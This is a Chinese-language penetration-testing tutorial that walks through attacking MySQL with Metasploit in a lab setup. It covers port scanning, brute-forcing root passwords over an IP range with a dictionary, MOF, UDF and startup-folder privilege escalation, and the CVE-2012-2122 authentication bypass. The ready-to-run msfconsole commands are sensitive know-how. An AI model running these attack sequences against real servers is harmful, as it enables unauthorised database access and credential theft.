本文作者:simeon
本文属于安全脉搏原创金币奖励计划
转载请参考:https://www.secpulse.com/archives/61458.html
Metasploit在安全界简称msf,而不是网上的一个也叫msf的Misfits战队。Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具,分为免费版和收费版本,其官方地址为:https://www.metasploit.com/,在早期的BT渗透平台以及Kali、pentestbox中都配备有Metasploit。
1、相关资源
(1) metasploit的github项目:https://github.com/rapid7/metasploit-framework
(2)metasploit帮助文档:https://metasploit.help.rapid7.com/docs/getting-started
(3)Metasploit渗透测试魔鬼训练营:
https://pan.baidu.com/s/1mgib7b6#list/path=%2F
(4)metasploit 漏洞模拟器:https://github.com/rapid7/metasploit-vulnerability-emulator
2、测试环境
(1)渗透平台:kali linux2.x
(2)靶场平台:Windows2003SP2+phpstduy+ComsenzEXP_X25GBK+Mysql5.1.68
3、Metasploit下所有Mysql辅助、扫描以及漏洞利用模块
auxiliary/admin/mysql/mysql_enum MySQL枚举模块 auxiliary/admin/mysql/mysql_sql MySQL SQL查询 auxiliary/analyze/jtr_mysql_fast John the Ripper 破解MySQL密码 auxiliary/scanner/mysql/mysql_authbypass_hashdump MySQL密码认证绕过 auxiliary/scanner/mysql/mysql_file_enum MYSQL 文件/目录枚举 auxiliary/scanner/mysql/mysql_hashdump MYSQL 密码哈希值获取 auxiliary/scanner/mysql/mysql_login MySQL登录验证暴力破解模块 auxiliary/scanner/mysql/mysql_schemadump MYSQL Schema 导出 auxiliary/scanner/mysql/mysql_version MySQL信息枚举 auxiliary/scanner/mysql/mysql_writable_dirs MYSQL目录可写测试 auxiliary/server/capture/mysql 捕获MySQL认证凭证 exploit/linux/mysql/mysql_yassl_getname yaSSL CertDecoder::GetName溢出漏洞 exploit/linux/mysql/mysql_yassl_hello MySQL yaSSL SSL Hello 消息溢出漏洞 exploit/windows/mysql/mysql_mof windows mof提权 exploit/windows/mysql/mysql_payload windows上传漏洞提权 exploit/windows/mysql/mysql_start_up windows启动项提权 exploit/windows/mysql/mysql_yassl_hello MySQL yaSSL SSL Hello 消息溢出exploit/windows/mysql/scrutinizer_upload_exec Plixer Scrutinizer NetFlow和sFlow分析器9 MYSQL默认凭据上传执行 经过实际测试,黑色加粗模块使用效果较好。
利用Metasploi渗透的思路遵循网络渗透的思路:
1.信息收集,收集目标IP地址。
2.端口信息收集与扫描,对目标IP的地址或者IP段进行数据库端口扫描。
3.对开放Mysql数据库的IP地址或者IP地址段进行密码暴力破解。
4.对破解成功的Mysql数据库进行漏洞利用和提权。
1、msf快速搜索关键字
本次主要利用kali平台进行msf演示,在kali中快速搜索漏洞需要手动进行更新及进行相应的处理,否则搜索漏洞时间非常长,kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。
在kali 2.0中启动带数据库支持的MSF方式如下:
(1)首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;
(2)初始化MSF数据库:msfdb init;
(3)运行msfconsole:msfconsole;
(4)建立db_rebuild_cache
db_rebuild_cache
(5)在msf中查看数据库连接状态:
db_status
(6)数据库重建完毕后使用search keystring速度就会特别快。
2、端口信息收集
(1)nmap扫描端口信息,获取扫描IP地址3306端口开放情况以及mac地址信息,如图1所示。执行命令:nmap -p 3306 192.168.157.130
图1扫描端口
(2)扫描mysql数据以及端口信息,获取数据库版本,如图2所示。
nmap --script=mysql-info 192.168.157.130
图2获取mysql数据库版本以及端口信息
(3)查看mysq版本信息
use auxiliary/scanner/mysql/mysql_version set rhosts 192.168.157.130 run
options或者info查看配置信息或者详细信息。
rhosts:目标IP(可以是单个IP,也可以是一个网段192.168.157.1-255 or 192.168.1.0/24,或者文件/root/ip_addresses.txt)
THREADS:线程数,默认为1,一般默认即可,Msf发现存在mysql数据库的会以绿色+显示,如图3所示。
图3 mysql版本扫描
1、msf密码破解mysql_login
利用模块为辅助模块auxiliary/admin/mysql/mysql_sql,其模块主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数,其中部分参数需要设置。
对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD或者PASS_FILE
(1)场景1:内网获取root某一个口令
use auxiliary/admin/mysql/mysql_sql set RHOSTS 192.168.157.1-254 set password root set username root run
执行后对192.168.157.1-254进行mysql用户名为root,密码为root的扫描验证,执行效果如图4所示。
图4Msf扫描mysql单一密码
(2)场景2:使用密码字典进行扫描
use auxiliary/admin/mysql/mysql_sql set RHOSTS 192.168.157.1-254 set pass_file “/root/top10000pwd.txt” set username root run
说明:如果通过扫描暴力破解成功,msf会将该用户名和密码保存在session中。
Metasploit下对Mysql在Linux操作系统下的提权支持较少,针对Windows提权有三个。
(1)mof提权
use exploit/windows/mysql/mysql_mof set rhost 192.168.157.1 set rport 3306 set password root set username root
还需要设置本地反弹的计算机ip及端口
Mysql 5.0.22 测试mof提权未成功
mysql 5.5.53(phpstudy) 测试mof提权未成功。
5.1.68-community MySQL Community Server测试mof提权成功。
图5 mof提权成功
(2)udf提权
use exploit/windows/mysql/mysql_payload
跟--secure-file-priv选项和mysql版本有关
(3)程序启动项提权
exploit/windows/mysql/mysql_start_up
对中文版本支持效果较差,需要设置startup_folder,默认是英文路径,经过更改为中文路径,测试未成功。
set startup_folder "/Documents and Settings/All Users/「开始」菜单/程序/启动/
Metasploit中还有一些mysql的溢出漏洞,但有具体场景要求,可以在实际渗透时进行实际测试,其参数设置比较简单,通过info或者options进行查看,使用set命令进行设置,后续漏洞利用就不赘述。
1、Mysql身份认证漏洞及利用(CVE-2012-2122)
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
2、exploit/windows/mysql/mysql_yassl_hello
3、exploit/windows/mysql/scrutinizer_upload_exe
使用全局变量,内网渗透时比较好用,具体命令为:
setg rhost 192.168.1-254 setg username root setg password root save
以上命令将设置rhost、username、password为全局变量,设置完毕后将保存在/root/.msf4/config文件中。使用unsetg命令解除全局变量设置:
unsetg rhost unsetg username unsetg password save
Metasploit下mysql提权主要环境针对英文版,对中文版本提权相对效果较差,需要更改其默认的文件夹选项等。在实际环境中可以下载pentestbox带Metasploit的版本来实施渗透。总的来说针对Mysql的渗透,Msf功能很强大,有的漏洞可以直接获取shell,可以在shell的基础上直接进行提权。
类似文章参见安全脉搏 《利用Metasploit来攻击Mysql 》